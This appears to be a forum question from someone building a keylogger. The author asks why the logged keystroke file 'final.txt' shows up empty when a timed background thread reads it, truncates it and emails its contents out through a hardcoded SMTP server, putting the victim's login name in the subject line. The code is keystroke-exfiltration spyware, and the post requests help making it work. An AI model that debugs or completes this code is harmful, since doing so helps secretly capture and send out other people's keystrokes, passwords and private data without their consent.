My app is a keylogger. I use a thread to have a timer that sends the content of the file 'final.txt' to my email. The actual email sending process works fine, but although the file is not empty (I checked) it shows up as empty when I try to send it. after running "proc" the file empties too.
Why is that happening and how can I fix it?
def proc():
while True:
with open("final.txt","a+") as mailFile:
print(mailFile.read() +' end')
data ="====== \n DATA \n ====== \n \n" + mailFile.read()
if len(mailFile.read()) > 0:
with open('final.txt','w') as tempFile:
tempFile.truncate()
tempFile.close()
file.close()
send(data)
else:
file.close()
time.sleep(HOUR/60)
x = threading.Thread(target=proc)
x.start()
def send(file):
msg = EmailMessage()
msg['From'] = sender_email
msg['To'] = reciver_email
msg['Subject'] = f"{os.getlogin()}: {time.localtime()[3]}:{time.localtime()[4]} - {time.localtime()[2]}/{time.localtime()[1]}/{time.localtime()[0]}"
msg.set_content(file)
try:
server = smtplib.SMTP('64.233.184.108')
server.starttls()
server.login(sender_email,password)
except:
send_mode('Disonnected')
sys.exit()
server.send_message(msg)
server.quit()